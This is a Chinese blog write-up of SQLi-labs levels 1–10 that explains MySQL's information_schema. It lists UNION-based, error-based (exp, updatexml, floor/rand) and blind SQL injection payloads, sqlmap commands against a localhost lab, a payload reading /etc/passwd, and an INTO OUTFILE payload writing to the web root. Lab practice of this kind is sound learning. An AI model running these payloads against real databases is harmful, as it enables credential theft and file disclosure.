首页 > 数据库 >SQLlabs less1-10通关笔记

SQLlabs less1-10通关笔记

时间:2023-04-06 20:01:59浏览次数:40  
标签:10 group SQLlabs 数据库 less1 报错 id select schema

SQLlabs 通关笔记

mysql数据结构

在练习靶场前我们需要了解以下mysql数据库结构,mysql数据库5.0以上版本有一个自带的数据库叫做information_schema,该数据库下面有两个表一个是tablescolumnstables这个表的table_name字段下面是所有数据库存在的表名。table_schema字段下是所有表名对应的数据库名。columns这个表的colum_name字段下是所有数据库存在的字段名。columns_schema字段下是所有表名对应的数据库。了解这些对于我们之后去查询数据有很大帮助。我们前面机关讲解比较详细后面就比较简单了。 这个是我第一次做sql的时候看到那些payload的时候很不懂的一个东西,后来才知道是MySQL里面自带的。

less 1~4

这一题比较常规直接给出payload,只是每个的闭合点或者传参方式有点不一样

//找列数
?id=1' order by 3#
?id=1' order by 4#
//确定哪个字段有回现
?id=0' union select 1,2,3#//令id=0是因为数据库有1这个id,而它的回显位置有限,不会将所有查询的东西返回出来,只能取有的第一行数据
//爆出当前数据库
?id=0' union select 1,2,database()#
//爆出当前数据库的表名
?id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#
//爆出当前表的列名
?id=0' union select 1,2,group_concat(COLUMN_name) from information_schema.COLUMNS where table_name='users'#
//爆出当数据库的user表所有的passwd和username
?id=0' union select 1,group_concat(username),group_concat(password) from users#

less 5、6

这里就没有回显了,但是还是会有报错这个时候可以使用报错注入

报错注入

什么是报错注入

报错注入是通过特殊函数错误使用并使其输出结果来获取信息的。简单点来说,就是在可以进行sql注入的位置,调用特殊的函数执行,利用函数报错使其输出结果来获取数据库的相关信息

使用条件

页面错误信息显示出来

种类

BigInt等数据类型溢出

函数参数格式错误

主键、字段重复

报错函数
BigInt函数数据类型溢出报错注入

mysql数据库版本为:?id=1' and exp(~(select * from (select user())a))--+

exp(int)函数利用是BigInt数据类型溢出

作用:返回e的x次方,当x的值足够大的时候就会导致函数的结果数据类型溢出

利用方式:当涉及到注入时,我们使用否定查询来造成“DOUBLE value is out of range”,因为函数成功执行时,会返回0,那么我们先将0按位取反,在获取e的那个数的次方,就会造成BigInt数据类型溢出,就会报错

payload:?id=1' and exp(~(select * from (select user())a))#
语意:先查询select user()这个语句的结果,然后将查询出来的数据作为一个结果集取名为a,再查询a,将结果a全部查出来
and exp(~(select * from (select table_name from information_schema.tables where table_schema=database() limit 0,1)a))#表名
and exp(~(select * from (select column_name from information_schema.columns where table_name='users' limit 0,1)a))#列名
and exp(~(select * from (select column_name from information_schema.columns where table_name='users' limit 0,1)a))#列名里面的信息
and exp(~(select * from (select load_file('/etc/passwd'))a))#读取文件

注意:对于所有的insert、update和delete语句DIOS查询也同样可以使用 除了exp()函数之外,pow()之类的相似函数同样可以利用BigInt数据溢出的方式进行报错注入

参数格式错误进行报错注入

updataxml函数利用的就是mysql函数参数格式错误进行报错注入

语法:updataxml(XML_document,Xpath_string,new_value);

语法解析:

XML_document:是字符串String格式,为XML文档对象名称

Xpath_string:Xpath格式的字符串

new_value:string格式,替换查找到的符合条件的数据

适用版本:5.1.5+

利用方式:在执行两个函数时,如果出现xml文件路径错误,就会产生报错,那么我们就需要构造Xpath_tring格式错误,就是我们将Xpath_string的值传递成不符合格式的参数,mysql就会报错

payload:
?id=1' and updatexml(1,concat(0x7e,user(),0x7e,version(),0x7e),3)--+#查询当前数据库用户信息以及数据库版本信息
?id=1' and updatexml(1,concat(0x7e,database(),0x7e,@@version_compile_os,0x7e),3)--+#查询当前数据库名称和操作系统版本信息
?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),3)--+#获取当前数据库下数据表的信息

注意:在使用updatexml()函数造成xpath格式不符报错注入的时候,需要注意: updatexml最多只能显示32位,需要配合SUBSTR使用

主键重复

这种方式可以实现报错的原因:虚拟表的主键重复

首先,主键重复方式的报错注入利用的函数有:floor() + rand() + group() + count()

floor()函数的作用就是返回小于等于该值的最大整数,即向下取整,只保留整数部分;count()函数是一个计数函数 group by 语句与count()函数结合,根据一个或多个列对结果集进行分组;rand()函数用来随机生成0或1,在sql报错注入中,我们使用rand(0)获取有规律可循的0或1随机数字(rand()生成的数字是完全随机的)

原理:在使用group by进行分组查询的时候,数据库会生成一张虚拟表,并使用group by还要进行两次运算,第一次运算是先获取group by后面的值,然后拿group by后面的值去和虚拟表中的值比较;第二次是对比虚拟表中的值如果group by后面的值在虚拟表中不存在,那么就将group by后面的值插入到虚拟表中,当插入虚拟表中时,进行运算。那么,rand()函数存在一定的随机性,所以group by后面的值两次计算结果可能不一致,但是这个运算的结果可能在虚拟表中已经存在了,那么这时候吧值插入到虚拟表中就会导致主键重复,进而引发错误!!来实现我们想要的效果

payload:
and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)

and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

less 7-10

盲注

延时盲注
sqlmap -u "http://127.0.0.1:8888/Less-7/?id=1" --dbms=MySQL --random-agent --flush-session --technique=T -v 3
布尔盲注
sqlmap -u "http://127.0.0.1:8888/Less-7/?id=1" --dbms=MySQL --random-agent --flush-session --technique=B -v 3

导出数据到文件

使用 outfile 导出到文件来查询数据,默认 outfile 是没有开启的,得手动开启一下

# mysql -e "show global variables like '%secure%';"
+------------------+-------+
| Variable_name    | Value |
+------------------+-------+
| secure_auth      | OFF   |
| secure_file_priv |       |
+------------------+-------+
  • ure_file_priv 的值为 null ,表示限制 mysqld 不允许导入 | 导出
  • 当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入 | 导出只能发生在 /tmp/ 目录下
  • 当 secure_file_priv 的值为 时,表示不对 mysqld 的导入 | 导出做限制
payload:/?id=1')) union select * from security.users into outfile "D://phpstudy_pro/WWW/sqllabs/Less-7/1.txt"#

标签:10,group,SQLlabs,数据库,less1,报错,id,select,schema
From: https://www.cnblogs.com/Belik0e/p/17293971.html

相关文章

  • 昆仑通态通讯ABB ACS510变频器恒压供水
    昆仑通态通讯ABBACS510变频器恒压供水(一拖一到四ABB变频器恒压供水触摸屏通讯程序1.采用ABB变频器Acs510自带恒压供水功能; 2.用昆仑通态触摸屏直接通讯变频器;3.变频器自身自带供水功能,省去plc,节约成本,稳定,可靠; 4.里面含有部分通讯协议,本程序只读取部分变频器参数,其他参......
  • 平台采用某米1代扫地机。 stm32f103真实项目程序
    平台采用某米1代扫地机。stm32f103真实项目程序。c原程序keil工程。目前只有32端代码能实现延边避障防跌落充电等功能。   适合需要学习项目与代码规范的工程师硬件驱动包含陀螺仪姿态传感器bmi160、电源管理bq24733等。软件驱动包括IIC、PWM、SPI、多路ADC与DMA、编......
  • Web前端开发必看的100道大厂面试题
    1.说说gulp和webpack的区别开放式题目Gulp强调的是前端开发的工作流程。我们可以通过配置一系列的task,定义task处理的事务(例如文件压缩合并、雪碧图、启动server、版本控制等),然后定义执行顺序,来让Gulp执行这些task,从而构建项目的整个前端开发流程。通俗一点来说,“Gulp就像是一......
  • win 10系统安装DBC2000时卡死的解决方法
    在架设单机时,win10系统在安装DBC2000的时候可能会出现卡死的情况,比如安装DBC后无法在控制面板打开设置,或是设置到一半突然卡死。我相信有不少人都会遇到。遇到win10安装DBC2000时卡死的情况怎么办呢?今天飞飞就来和你分享下解决方法!当某个程序打不开或是卡死时大概率原因是因为这个......
  • 题目 1021: [编程入门]迭代法求平方根
    题目描述用迭代法求平方根公式:求a的平方根的迭代公式为:X[n+1]=(X[n]+a/X[n])/2要求前后两次求出的差的绝对值少于0.00001。输出保留3位小数 一、何为迭代法迭代法也称辗转法,是一种不断用变量的旧值递推新值的过程,跟迭代法相对应的是直接法(或者称为一次解法),即一次性......
  • leetcode1000. 合并石头的最低成本
    有N堆石头排成一排,第i堆中有stones[i]块石头。每次移动(move)需要将连续的K堆石头合并为一堆,而这个移动的成本为这K堆石头的总数。找出把所有石头合并成一堆的最低成本。如果不可能,返回-1来源:力扣(LeetCode)链接:https://leetcode.cn/problems/minimum-cost-to-merge-st......
  • 10-springcloud-eureka-6-Eureka 与 Zookeeper 的比较
    Eureka与Zookeeper的比较著名的CAP理论指出,一个分布式系统不可能同时满足C(一致性)、A(可用性)和P(分区容错性);由于分区容错性在是分布式系统中必须要保证的,因此我们只能在A和C之间进行权衡,在此Zookeeper保证的是CP,而Eureka则是AP。Zookeeper保证CP在Z......
  • PAT Basic 1072. 开学寄语
    PATBasic1072.开学寄语1.题目描述:下图是上海某校的新学期开学寄语:天将降大任于斯人也,必先删其微博,卸其QQ,封其电脑,夺其手机,收其ipad,断其wifi,使其百无聊赖,然后,净面、理发、整衣,然后思过、读书、锻炼、明智、开悟、精进。而后必成大器也!本题要求你写个程序帮助这所学校的......
  • 力扣 面试题 10.11. 峰与谷
    面试题10.11.峰与谷在一个整数数组中,“峰”是大于或等于相邻整数的元素,相应地,“谷”是小于或等于相邻整数的元素。例如,在数组{5,8,4,2,3,4,6}中,{8,6}是峰,{5,2}是谷。现在给定一个整数数组,将该数组按峰与谷的交替顺序排序。示例:输入:[5,3,1,2,3]输出: [......
  • 苹果CMS V10 API接口相关
    苹果CMSV10内置API接口网上查了一下没啥结果,都是采集和第三方的。所以看了下源码,提取出来的内内置接口如下,比较少,而且缺乏一些字段,还是要自己写才行,供参考。苹果CMSV10API接口相关影片接口url:/api.php/provide/vod/可用于获取分类、列表和详情ac:模式(videolist或detail详......